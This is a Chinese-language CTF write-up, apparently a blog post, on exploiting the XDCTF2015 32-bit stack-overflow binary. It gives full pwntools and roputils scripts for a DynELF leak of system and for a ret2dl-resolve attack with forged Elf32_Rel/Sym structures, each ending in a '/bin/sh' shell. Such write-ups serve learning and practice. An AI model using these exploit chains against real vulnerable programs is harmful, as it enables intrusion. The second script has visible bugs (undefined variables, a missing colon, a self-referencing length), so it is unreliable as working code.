一道简单的rop,当然这里是为了练习x86下的return to dl-resolve的fake reloc_arg~
程序分析
检查下没开什么安全措施,只有个最简单的nx:
接着看程序也很简单:
很明显的栈溢出,这里没有给libc.so
,但是可以通过内存泄露来获取system地址,当然为了练习写了另一种方法。
方法一:内存泄露
read
和write
函数都有,可以循环利用,就是很经典的泄露system
再写入sh
最后调用它,步骤如下:
- 调用main函数循环利用
- 泄露出system地址
- 写入”/bin/sh”
- 调用system获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
elf = ELF('/root/Desktop/c14595742a95ebf0944804d8853b834c')
writePlt = elf.plt['write'] readPlt = elf.plt['read'] writable = elf.bss(0x2c)
mainAddr = 0x080484be pppt = 0x0804856c
def leak(addr): p.recvuntil('Welcome to XDCTF2015~!\n') payload1 = 'a'*112+p32(writePlt)+p32(mainAddr)+p32(1)+p32(addr)+p32(4) p.sendline(payload1) data = p.recv(4) log.info('%s =====> %s'%(addr,(data or '').encode('hex'))) return data
p = process('/root/Desktop/c14595742a95ebf0944804d8853b834c') dyn = DynELF(leak,elf=elf)
systemAddr = dyn.lookup('system','libc')
payload2 = 'a'*112+p32(readPlt)+p32(pppt)+p32(0)+p32(writable)+p32(8)+p32(systemAddr)+p32(mainAddr)+p32(writable) p.sendline(payload2) p.sendline('/bin/sh\0') p.interactive()
|
方法二:return to resolve
上一篇已经记录了动态链接的解析过程,这里直接写利用过程吧:
- _dl_runtime_resolve在got[2]里面
- 它有两个参数,第一个参数linkmap在got[1]里面
- 第二个参数是调用时传入的,这里利用时是伪造第二个参数
- 在_dl_runtime_resolve内部,使用第二个参数作为索引,第一个参数作为基来查找函数名
- plt[0]处是压入第一个参数并且调用解析函数
1 2 3 4 5 6 7 8
| const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
|
可以看到这里涉及到了三个结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| typedef struct elf32_rel { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
typedef struct elf32_sym{ Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym;
|
这里的利用方法就是伪造上述结构体,再在调用_dl_runtime_resolve
,在其内部将会将要解析的函数名解析为system
:
- 将上述结构体写入bss后面的空闲区域
- 压入一个参数a,使
.rel.plt + a
指向伪造的第一个结构题
- 伪造的第一个结构体的
r_offset
要指向一个可写的地址,r_info
的type要为ELF_MACHINE_JMP_SLOT并且index要为一个特定的值,使&dynsym[index]
指向第二个结构体
- 伪造的第二个结构体的其他值正常点,
st_name
要为一个特定值,使st_name+dynstr
指向伪造的字符串/bin/sh\0
注意:在__libc_start_main
内部如果发现存在版本符号将会去去解析它,若是它解析的地址非法程序将会崩溃:
1 2 3 4 5 6 7 8
| if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
|
所以最好将*(versym+index*2)&0x7fff
解析为0,方法就是查看.gnu.version
偏移index*2
周围区域,低4位为0即可。下面是利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import *
elf = ELF('/root/pwn') writePlt = elf.plt['write'] readPlt = elf.plt['read']
writeBaseAddr = elf.bss(0x2c)
pppt = 0x0804856c relPlt = 0x08048318 dynsym = 0x080481d8 dynstr = 0x08048268 plt0 = 0x08048370
reloc_arg = writable - relPlt writable += 4*2 padding = '' for i in range(0,16): if (writable+i - dynsym)%(4*4)==0 padding = 'a'*i writable += i break
index = (writable-dynsym)/(4*4) r_info = index<<8+0x7 writable += 4*4 r_offset = writable
writable +=4 st_name = writable - dynstr
payload1 = flat(r_offset,r_info) + padding+flat(st_name,0,0,0x12)+'a'*4+'system\0'+'/bin/sh\0'
payload2 = 'a'*112 + flat(readPlt,pppt,0,elf.bss(0x2c),len(payload2),plt0,reloc_arg,)
p.sendline(payload2) p.sendline(payload1)
p.interactive()
|
于是,就直接使用roputils工具几秒钟构造一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import roputils
fpath = '/root/pwn' offset = 112
rop = roputils.ROP(fpath) addr_bss = rop.section('.bss')
buf = rop.retfill(offset) buf += rop.call('read', 0, addr_bss, 100) buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p = roputils.Proc(rop.fpath) p.write(roputils.p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf))
buf = rop.string('/bin/sh') buf += rop.fill(20, buf) buf += rop.dl_resolve_data(addr_bss+20, 'system') buf += rop.fill(100, buf)
p.write(buf) p.interact(0)
|
结果当然是成功呀:
参考
其实我知道你们看不懂我写的什么鬼,附上几个链接
http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://www.evil0x.com/posts/19226.html
……………